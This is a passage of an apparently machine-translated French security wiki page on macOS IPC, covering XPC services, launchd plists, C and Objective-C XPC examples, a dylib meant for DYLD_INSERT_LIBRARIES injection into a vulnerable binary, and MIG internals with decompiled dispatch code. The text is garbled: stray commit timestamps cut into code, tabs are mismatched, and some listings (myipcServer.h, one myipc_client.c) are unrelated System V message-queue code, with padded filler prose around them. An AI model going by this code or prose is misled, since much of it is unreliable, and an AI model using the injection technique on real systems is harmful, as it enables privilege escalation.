Les services XPC sont **démarrés** par **launchd** lorsque cela est nécessaire et **arrêtés** une fois que toutes les tâches sont **terminées** pour libérer les ressources système. Les composants XPC spécifiques à l'application ne peuvent être utilisés que par l'application, réduisant ainsi les risques liés aux vulnérabilités potentielles.
### Services XPC à l'échelle du système
Les services XPC à l'échelle du système sont accessibles à tous les utilisateurs. Ces services, qu'ils soient de type launchd ou Mach, doivent être **définis dans des fichiers plist** situés dans des répertoires spécifiés tels que **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**.
Ces fichiers plist auront une clé appelée **`MachServices`** avec le nom du service, et une clé appelée **`Program`** avec le chemin vers le binaire :
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
<key>AbandonProcessGroup</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.jamf.management.daemon</string>
<key>MachServices</key>
<dict>
<key>com.jamf.management.daemon.aad</key>
<true/>
<key>com.jamf.management.daemon.agent</key>
<true/>
<key>com.jamf.management.daemon.binary</key>
<true/>
<key>com.jamf.management.daemon.selfservice</key>
<true/>
<key>com.jamf.management.daemon.service</key>
<true/>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
```
Ceux dans **`LaunchDameons`** sont exécutés par root. Donc, si un processus non privilégié peut communiquer avec l'un d'entre eux, il pourrait être en mesure d'escalader les privilèges.
### Messages d'événement XPC
Les applications peuvent **s'abonner** à différents **messages d'événement**, ce qui leur permet d'être **initiées à la demande** lorsque de tels événements se produisent. La **configuration** de ces services est effectuée dans des fichiers **plist de lancement**, situés dans les **mêmes répertoires que les précédents** et contenant une clé supplémentaire **`LaunchEvent`**.
2023-06-03 13:10:46 +00:00
### Vérification du processus de connexion XPC
2023-06-03 13:10:46 +00:00
Lorsqu'un processus essaie d'appeler une méthode via une connexion XPC, le **service XPC doit vérifier si ce processus est autorisé à se connecter**. Voici les moyens courants de vérifier cela et les pièges courants :
{% content-ref url="macos-xpc-connecting-process-check.md" %}
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
### Autorisation XPC
Apple permet également aux applications de **configurer certains droits et la manière de les obtenir**, de sorte que si le processus appelant les possède, il serait **autorisé à appeler une méthode** du service XPC :
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
### Exemple de code C
{% tabs %}
{% tab title="xpc_server.c" %}
```c
// gcc xpc_server.c -o xpc_server
#include <xpc/xpc.h>
static void handle_event(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "message");
printf("Received message: %s\n", received_message);
// Create a response dictionary
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(response, "received", "received");
// Send response
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_connection_send_message(remote, response);
// Clean up
xpc_release(response);
}
}
static void handle_connection(xpc_connection_t connection) {
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
handle_event(event);
});
xpc_connection_resume(connection);
}
int main(int argc, const char *argv[]) {
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!service) {
fprintf(stderr, "Failed to create service.\n");
exit(EXIT_FAILURE);
}
2023-06-03 13:10:46 +00:00
xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_CONNECTION) {
handle_connection(event);
2023-06-03 13:10:46 +00:00
}
});
2023-06-03 13:10:46 +00:00
xpc_connection_resume(service);
dispatch_main();
return 0;
2023-06-03 13:10:46 +00:00
}
```
{% tab title="xpc_client.c" %}
2023-06-03 13:10:46 +00:00
Le fichier `xpc_client.c` est un exemple de code source en langage C qui illustre l'utilisation de l'API XPC pour la communication inter-processus (IPC) sur macOS. L'API XPC permet aux processus de communiquer entre eux de manière sécurisée et efficace en utilisant des messages structurés.
Dans cet exemple, un client XPC est créé et utilisé pour envoyer un message à un service XPC distant. Le client XPC utilise la fonction `xpc_connection_create` pour créer une connexion vers le service distant, puis utilise la fonction `xpc_dictionary_create` pour créer un dictionnaire XPC contenant les données à envoyer.
Une fois que le dictionnaire XPC est créé, le client XPC utilise la fonction `xpc_connection_send_message` pour envoyer le message au service distant. Le service distant peut ensuite recevoir le message en utilisant une méthode similaire.
Il est important de noter que l'API XPC offre des mécanismes de sécurité intégrés pour protéger la communication inter-processus. Par exemple, les connexions XPC peuvent être configurées pour utiliser des autorisations spécifiques, et les messages XPC peuvent être chiffrés pour assurer la confidentialité des données.
Ce fichier `xpc_client.c` est un exemple de base pour comprendre comment utiliser l'API XPC pour la communication inter-processus sur macOS. Il peut être utilisé comme point de départ pour développer des applications qui nécessitent une communication sécurisée entre les processus.
{% endtab %}
```c
// gcc xpc_client.c -o xpc_client
#include <xpc/xpc.h>
int main(int argc, const char *argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "received");
printf("Received message: %s\n", received_message);
}
});
xpc_connection_resume(connection);
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message", "Hello, Server!");
xpc_connection_send_message(connection, message);
dispatch_main();
return 0;
}
```
{% tab title="xyz.hacktricks.service.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.service</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/xpc_server</string>
</array>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client
# Save server on it's location
cp xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
# Call client
./xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
2023-06-03 13:10:46 +00:00
### Exemple de code ObjectiveC
{% tabs %}
{% tab title="oc_xpc_server.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
@interface MyXPCObject : NSObject <MyXPCProtocol>
@end
@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
NSLog(@"Received message: %@", some_string);
NSString *response = @"Received";
reply(response);
}
@end
@interface MyDelegate : NSObject <NSXPCListenerDelegate>
@end
@implementation MyDelegate
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
MyXPCObject *my_object = [MyXPCObject new];
newConnection.exportedObject = my_object;
[newConnection resume];
return YES;
}
@end
int main(void) {
NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];
id <NSXPCListenerDelegate> delegate = [MyDelegate new];
listener.delegate = delegate;
[listener resume];
sleep(10); // Fake something is done and then it ends
}
```
{% tab title="oc_xpc_client.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
int main(void) {
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
[connection resume];
[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
}];
[[NSRunLoop currentRunLoop] run];
return 0;
}
```
{% tab title="xyz.hacktricks.svcoc.plist" %}xyz.hacktricks.svcoc.plist est un fichier de configuration utilisé par le système d'exploitation macOS pour gérer les services de communication inter-processus (IPC). L'IPC est un mécanisme qui permet à différents processus de communiquer entre eux, que ce soit sur la même machine ou sur des machines différentes.
2023-06-03 13:10:46 +00:00
Ce fichier de configuration spécifie les paramètres et les autorisations pour les services IPC spécifiques. Il peut être utilisé pour restreindre l'accès aux services IPC, limiter les privilèges des processus ou définir des règles de sécurité supplémentaires.
Il est important de noter que la modification de ce fichier de configuration peut avoir des conséquences importantes sur le fonctionnement du système d'exploitation. Il est recommandé de faire preuve de prudence lors de la modification de ce fichier et de s'assurer de comprendre les implications de chaque modification.
Pour modifier ce fichier de configuration, vous pouvez utiliser un éditeur de texte ou une interface graphique spécifique à macOS. Assurez-vous de sauvegarder une copie du fichier d'origine avant de le modifier, au cas où vous auriez besoin de revenir à la configuration précédente.
Une fois que vous avez modifié le fichier de configuration, vous devrez peut-être redémarrer le système d'exploitation pour que les modifications prennent effet.
Il est également important de noter que la modification de ce fichier de configuration peut nécessiter des privilèges d'administrateur. Assurez-vous d'avoir les autorisations appropriées avant de procéder à des modifications.
En résumé, xyz.hacktricks.svcoc.plist est un fichier de configuration utilisé par macOS pour gérer les services IPC. Il peut être modifié pour restreindre l'accès aux services IPC, limiter les privilèges des processus ou définir des règles de sécurité supplémentaires.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.svcoc</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.svcoc</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/oc_xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/oc_xpc_server</string>
</array>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
# Save server on it's location
cp oc_xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
# Call client
./oc_xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
### Client à l'intérieur d'un code Dylib
In macOS, a Dylib is a dynamic library that contains executable code and data that can be shared among multiple applications. It is similar to a DLL (Dynamic Link Library) in Windows.
When a client application wants to use the functionality provided by a Dylib, it needs to load the Dylib and establish a connection with it. This is done through a mechanism called Inter-Process Communication (IPC).
The client code inside the Dylib is responsible for handling the IPC communication. It acts as a bridge between the client application and the Dylib, allowing them to exchange messages and data.
To implement IPC, the client code typically uses a framework like Mach or XPC. These frameworks provide APIs for creating and managing communication channels between processes.
The client code inside the Dylib can define various IPC endpoints, which are entry points for receiving messages from the client application. It can also define methods or functions that can be called by the client application to perform specific tasks.
When the client application wants to communicate with the Dylib, it sends a message to one of the IPC endpoints. The client code inside the Dylib receives the message, processes it, and sends a response back to the client application if necessary.
IPC communication between the client application and the Dylib can be used for various purposes, such as sharing data, invoking functionality, or coordinating actions between different processes.
Overall, the client code inside a Dylib plays a crucial role in enabling communication and interaction between the client application and the shared library. It facilitates the exchange of information and allows the client application to leverage the functionality provided by the Dylib.
```
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
// gcc injection example:
// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin
#import <Foundation/Foundation.h>
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
NSString* _serviceName = @"xyz.hacktricks.svcoc";
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]];
[_agentConnection resume];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
} ];
NSLog(@"Done!");
return;
}
```
## MIG - Générateur d'interface Mach
MIG a été créé pour **simplifier le processus de création de code Mach IPC**. Il génère essentiellement le code nécessaire pour que le serveur et le client puissent communiquer avec une définition donnée. Même si le code généré est moche, un développeur n'aura qu'à l'importer et son code sera beaucoup plus simple qu'auparavant.
### Exemple
Créez un fichier de définition, dans ce cas avec une fonction très simple :
{% code title="myipc.defs" %}
```cpp
subsystem myipc 500; // Arbitrary name and id
userprefix USERPREF; // Prefix for created functions in the client
serverprefix SERVERPREF; // Prefix for created functions in the server
#include <mach/mach_types.defs>
#include <mach/std_types.defs>
simpleroutine Subtract(
server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
{% endcode %}
Maintenant, utilisez mig pour générer le code serveur et client qui pourra communiquer entre eux pour appeler la fonction Subtract :
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
Plusieurs nouveaux fichiers seront créés dans le répertoire actuel.
Dans les fichiers **`myipcServer.c`** et **`myipcServer.h`**, vous pouvez trouver la déclaration et la définition de la structure **`SERVERPREFmyipc_subsystem`**, qui définit essentiellement la fonction à appeler en fonction de l'ID du message reçu (nous avons indiqué un numéro de départ de 500):
{% tabs %}
{% tab title="myipcServer.c" %}
```c
/* Description of this subsystem, for use in direct RPC */
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
myipc_server_routine,
500, // start ID
501, // end ID
(mach_msg_size_t)sizeof(union __ReplyUnion__SERVERPREFmyipc_subsystem),
(vm_address_t)0,
{
{ (mig_impl_routine_t) 0,
// Function to call
(mig_stub_routine_t) _XSubtract, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__Subtract_t)},
}
};
```
{% tab title="myipcServer.h" %}
```c
#ifndef MYIPCSERVER_H
#define MYIPCSERVER_H
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MAX_TEXT_SIZE 512
struct mymsgbuf {
long mtype;
char mtext[MAX_TEXT_SIZE];
};
int createMessageQueue(key_t key);
int sendMessage(int msqid, struct mymsgbuf *msg, size_t msgsz);
int receiveMessage(int msqid, struct mymsgbuf *msg, size_t msgsz, long mtype);
int deleteMessageQueue(int msqid);
#endif /* MYIPCSERVER_H */
```
{% endtab %}
{% tab title="myipcServer.c" %}
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
mig_server_routine_t server; /* Server routine */
mach_msg_id_t start; /* Min routine number */
mach_msg_id_t end; /* Max routine number + 1 */
unsigned int maxsize; /* Max msg size */
vm_address_t reserved; /* Reserved */
struct routine_descriptor /* Array of routine descriptors */
routine[1];
} SERVERPREFmyipc_subsystem;
```
{% endtab %}
{% endtabs %}
Basé sur la structure précédente, la fonction **`myipc_server_routine`** recevra l'**ID du message** et renverra la fonction appropriée à appeler :
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
{
int msgh_id;
msgh_id = InHeadP->msgh_id - 500;
if ((msgh_id > 0) || (msgh_id < 0))
return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
Dans cet exemple, nous avons seulement défini une fonction dans les définitions, mais si nous en avions défini davantage, elles auraient été incluses dans le tableau **`SERVERPREFmyipc_subsystem`** et la première serait assignée à l'ID **500**, la deuxième à l'ID **501**...
En réalité, il est possible d'identifier cette relation dans la structure **`subsystem_to_name_map_myipc`** de **`myipcServer.h`**:
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
Enfin, une autre fonction importante pour faire fonctionner le serveur sera **`myipc_server`**, qui est celle qui va réellement **appeler la fonction** liée à l'identifiant reçu :
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
/*
* typedef struct {
* mach_msg_header_t Head;
* NDR_record_t NDR;
* kern_return_t RetCode;
* } mig_reply_error_t;
*/
mig_routine_t routine;
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* Taille minimale : routine() la mettra à jour si elle est différente */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id &#x3C; 500) ||
<strong> ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
return FALSE;
}
<strong> (*routine) (InHeadP, OutHeadP);
</strong> return TRUE;
}
</code></pre>
Vérifiez le code suivant pour utiliser le code généré afin de créer un serveur et un client simples où le client peut appeler les fonctions Subtract du serveur :
{% tabs %}
{% tab title="myipc_server.c" %}
```c
// gcc myipc_server.c myipcServer.c -o myipc_server
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipcServer.h"
kern_return_t SERVERPREFSubtract(mach_port_t server_port, uint32_t n1, uint32_t n2)
{
printf("Received: %d - %d = %d\n", n1, n2, n1 - n2);
return KERN_SUCCESS;
}
int main() {
mach_port_t port;
kern_return_t kr;
// Register the mach service
kr = bootstrap_check_in(bootstrap_port, "xyz.hacktricks.mig", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
return 1;
}
// myipc_server is the function that handles incoming messages (check previous exlpanation)
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
}
```
{% tab title="myipc_client.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MAX_TEXT 512
struct mymsg {
long int msg_type;
char text[MAX_TEXT];
};
int main() {
int msgid;
struct mymsg data;
long int msg_to_receive = 0;
// Create the message queue
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
if (msgid == -1) {
fprintf(stderr, "msgget failed\n");
exit(EXIT_FAILURE);
}
// Receive the message
if (msgrcv(msgid, (void *)&data, MAX_TEXT, msg_to_receive, 0) == -1) {
fprintf(stderr, "msgrcv failed\n");
exit(EXIT_FAILURE);
}
printf("Received message: %s\n", data.text);
// Remove the message queue
if (msgctl(msgid, IPC_RMID, 0) == -1) {
fprintf(stderr, "msgctl(IPC_RMID) failed\n");
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
}
```
{% endtab %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipcUser.h"
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "xyz.hacktricks.mig", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("Port right name %d\n", port);
USERPREFSubtract(port, 40, 2);
}
```
## Analyse binaire
Comme de nombreux binaires utilisent désormais MIG pour exposer des ports mach, il est intéressant de savoir comment **identifier l'utilisation de MIG** et les **fonctions exécutées par MIG** avec chaque identifiant de message.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) peut analyser les informations MIG d'un binaire Mach-O en indiquant l'identifiant de message et en identifiant la fonction à exécuter :
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
Il a été mentionné précédemment que la fonction qui se chargera d'**appeler la fonction correcte en fonction de l'ID du message reçu** était `myipc_server`. Cependant, vous n'aurez généralement pas les symboles du binaire (pas de noms de fonctions), il est donc intéressant de **vérifier à quoi ressemble la décompilation** car elle sera toujours très similaire (le code de cette fonction est indépendant des fonctions exposées) :
{% tabs %}
{% tab title="myipc_server décompilé 1" %}
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
// Instructions initiales pour trouver les bons pointeurs de fonction
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Appel à sign_extend_64 qui peut aider à identifier cette fonction
// Cela stocke dans rax le pointeur de l'appel qui doit être effectué
// Vérifiez l'utilisation de l'adresse 0x100004040 (tableau des adresses des fonctions)
// 0x1f4 = 500 (l'ID de départ)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// Si - sinon, si le si renvoie false, tandis que le sinon appelle la bonne fonction et renvoie true
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
else {
// Adresse calculée qui appelle la bonne fonction avec 2 arguments
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
}
else {
*(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
rax = var_4;
return rax;
}
</code></pre>
{% endtab %}
{% tab title="myipc_server décompilé 2" %}
Il s'agit de la même fonction décompilée dans une version différente de Hopper free :
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
saved_fp = r29;
stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// Instructions initiales pour trouver les bons pointeurs de fonction
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
if (CPU_FLAGS &#x26; G) {
r8 = 0x1;
}
}
if ((r8 &#x26; 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 &#x3C; 0x0) {
if (CPU_FLAGS &#x26; L) {
r8 = 0x1;
}
}
if ((r8 &#x26; 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (l'ID de départ)
<strong> r8 = r8 - 0x1f4;
</strong> asm { smaddl x8, w8, w9, x10 };
r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// Même si sinon que dans la version précédente
// Vérifiez l'utilisation de l'adresse 0x100004040 (tableau des adresses des fonctions)
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
// Appel à l'adresse calculée où la fonction devrait être
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
}
else {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
}
else {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
r0 = var_4;
return r0;
}
</code></pre>
{% endtab %}
{% endtabs %}
En fait, si vous allez à la fonction **`0x100004000`**, vous trouverez le tableau des structures **`routine_descriptor`**, le premier élément de la structure est l'adresse où la fonction est implémentée et la **structure prend 0x28 octets**, donc tous les 0x28 octets (à partir de l'octet 0) vous pouvez obtenir 8 octets et cela sera l'**adresse de la fonction** qui sera appelée :
<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
Ces données peuvent être extraites [**en utilisant ce script Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
2023-06-03 13:10:46 +00:00
## Références
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
<details>
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